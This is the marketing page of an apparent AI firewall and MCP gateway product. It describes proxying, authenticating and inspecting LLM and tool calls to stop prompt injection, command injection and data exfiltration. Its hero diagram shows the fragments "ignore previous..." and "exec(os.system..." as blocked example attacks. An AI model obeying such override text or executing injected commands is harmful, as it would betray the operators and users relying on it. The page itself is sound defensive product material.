AI Firewall · MCP Gateway

Put a firewall
around every
AI agent you ship.

AIronClaw inspects, authenticates and rate-limits every call to your LLMs and MCP servers, stopping prompt injection, tool abuse and data exfiltration before they reach production.

Self-hosted · single-tenant
OpenAI · Anthropic · Bedrock
Streaming, token-by-token
Made in Italy · Hosted in EU
For AI agentsAre you an AI agent? Click here to use AIronClaw →
PROMPT INJECTION"ignore previous..."RCE ATTEMPTexec(os.system...)DATA EXFILTRATIONsecret=sk-xxxx...ALLOWED · CACHEDtool=search_docsAIMCPLLMCACHE
The platform

A gateway for
every AI need.

Everything you need to integrate AI models, agents and MCP servers into your application or workflow: securely, observable, and under budget.

AIRONCLAW
Firewall
prompt injection
RCE attempt
data exfiltration
allowed · cached
ALLOW
1.2M
FLAG
14.3k
BLOCK
482
Security · inspecting every call
See it in action

Stop a prompt injection
in under a minute.

Watch a textbook prompt-injection break an unprotected chat, then watch the same attack land harmlessly after a single AIronClaw rule. One AI Judge, one rewrite template, every model behind your stack — no SDK changes.

Guardrails that read prompts the way attackers write them.

Core · LLM Proxy

One gateway
for every model call.

Point your SDK at AIronClaw instead of the provider. We intercept, inspect and re-route every call to OpenAI, Anthropic, Bedrock or your own open-source model, with zero app-code changes.

01 · Intercept

Drop-in replacement for any LLM provider.

Change one base URL and every request your app makes to a model now flows through AIronClaw. Streaming, function-calling and tool-use all supported, token-by-token.

Compatible with OpenAI, Anthropic and Bedrock SDKs
Streaming pass-through, token-by-token — no buffering
No SDK lock-in, swap the base URL back anytime
02 · Authenticate

Issue keys per agent, tenant or environment.

API-key or JWT authentication in front of every model call, with each key carrying its own model allow-list. Revoke a key in one click — no app-code changes.

API key, JWT or open proxy — pick what fits each integration
Per-key model allow-list — each key only sees the models you whitelist
Every request tagged with the calling key, ready for audit and budgets
03 · Guardrail

Policy, budgets and guardrails before the model sees a token.

Apply your org's input/output policies, redact PII, and cap runaway spend per user or tenant. Centrally, without shipping new app code.

Input guardrails: jailbreak & prompt-injection detection
Output guardrails: PII redaction, compliance checks
Per-API-key budgets and rate limits
See guardrails →
04 · Route

Send the right prompt to the right model.

Match a regex against the user message and force the request to a specific model — same API surface, different backend. The proxy re-checks the target against the key's allow-list, so a rule can never smuggle a model the key isn't allowed to call.

Regex on the user prompt → override the requested model
Allow-list re-check — overrides can only target models the key already has access to
Audit event on every override with original and target model
AIRONCLAW
LLM Proxy
v1/chat · v1/completions
your app
sk-prod-•••
sk-stage-•••
gpt-4o · claude · llama
gpt-4o-mini
prompt injection
PII detected
gpt-4o (clean)
prompt: "code review …"
prompt: "hi 👋"
→ claude-opus-4-7
→ gpt-4o-mini (default)
Flagship · MCP Firewall

Inspect every tool call.
Block the bad ones.

AIronClaw sits between your agent and every MCP server it talks to, reading every request and response, stopping injection, RCE, file and secret exfiltration before they reach production.

01 · Inspect

Every tool call is parsed and understood.

The firewall parses MCP requests and responses in real time, understanding tool names, arguments and return payloads, not just raw bytes.

Full MCP protocol awareness (tools, resources, prompts)
HTTP and Streamable HTTP MCP servers, with SSE response streaming
JSON-RPC parsing of every request — method, tool name and arguments extracted before rules fire
02 · Detect

Catch injection, RCE and data-exfil patterns.

Layered detectors flag prompt injection, shell-escape attempts, unexpected network calls, and suspicious argument patterns that try to trick the tool into dangerous behavior.

Regex detectors plus LLM-as-judge — fast pattern checks first, an LLM verdict only when ambiguous
Secret scanning on tool responses (AWS, GCP, GitHub, generic API keys)
Shell-escape and command-injection patterns on tool inputs and outputs
03 · Decide

Allow, flag, block: on your rules.

Every verdict is driven by your policy: allow silently, flag for review, or hard-block. High-signal events become structured audit records the moment they fire.

Allow / flag / block actions per tool, per key, per IP
Per-tool, per-key and per-source-IP policies
Dry-run flag on rate-limit rules — log a hit without blocking the request
04 · Report

Every block becomes an auditable event.

Append-only audit logs and per-tool attack dashboards make sure your security team sees what the agent tried, when, and why it was stopped.

Append-only audit log with full request/response payloads, retained for the window you configure
Drill-down on every blocked event from the dashboard, with the rule that fired and the verdict reason
Per-tool counts and verdict breakdowns surfaced on the dashboard in real time
Read our security notes →
MCP FIREWALL
inspect · decide
tool-call proxy
agent
filesystem MCP
shell MCP
injection
secret in args
shell escape
ALLOW
FLAG
BLOCK
live dashboard
audit log (append-only)
verdict + payload
drill-down view
Modules

Our services.

Mix and match the layers you need. Each module plugs into the same gateway and shares observability, policies and audit logs.

MCP Auth

API-key and JWT authentication in front of any MCP server, with per-key allow-lists, budgets and rate limits.

MCP Rate Limit

Cap frequency and payload size per tool, per tenant, per agent, with burst and leaky-bucket presets.

MCP Cache

Deterministic caching of tool outputs to optimize cost and latency across agents.

Coming soon

MCP Semantic Cache

Vector-database backed cache answers semantically similar calls without recomputing them.

Coming soon

MCP Memory

Persistent, queryable memory so any LLM can pick up where the last session left off on that MCP.

Prompt Logging

Every input and output captured with token counts and cost, retained for the window you configure.

Token & Cost Accounting

Every request tagged with input tokens, output tokens and computed cost, ready for the dashboard or for export.

Guardrail as a Service

Policy-driven guardrails on tool responses: redaction, classification, compliance checks.

Coming soon

Dynamic Webpage → LLM

Turn any web page into live, queryable markdown, consumable by any LLM or agent.

Cost Observability

Real-time spend per model, key and proxy with daily, weekly and monthly budgets and hard cut-offs.

Audit & Compliance

Append-only audit log, PII redaction on responses and per-key budget enforcement — the building blocks for your own SOC2 / GDPR controls.

Pricing

Start free. Scale
when you need to.

Transparent plans for every stage, from your first prototype to enterprise deployments. Free tier is available today; Pro and Enterprise are on the way.

Free
Everything you need to prototype.
$0/ month
Start for free →
  • Set your own monthly budget per key (no platform-imposed cap)
  • 1 MCP server, unlimited tools
  • Core MCP Firewall & guardrails
  • Basic rate limiting & cache
  • 7-day observability retention
  • Community support
Coming soon
Pro
For teams shipping AI to production.
$-/ month
  • 5M LLM calls / month
  • Up to 10 MCP servers
  • Advanced guardrails & DLP
  • Semantic cache & MCP memory
  • Custom routing & fallbacks
  • 90-day retention · priority support
Coming soon
Enterprise
Self-hosted, SOC2, SLA-backed.
Custom
  • Unlimited calls & MCP servers
  • Self-hosted or private cloud
  • SSO · SCIM · audit logs
  • Custom plugins & Redis cluster
  • Dedicated Slack channel
  • 99.99% SLA

Your agents are talking to the internet.
Make sure something's listening back.

Spin up AIronClaw in front of any MCP server or LLM endpoint in minutes: no SDK changes, no vendor lock-in. Free to start, with the budgets and quotas you set.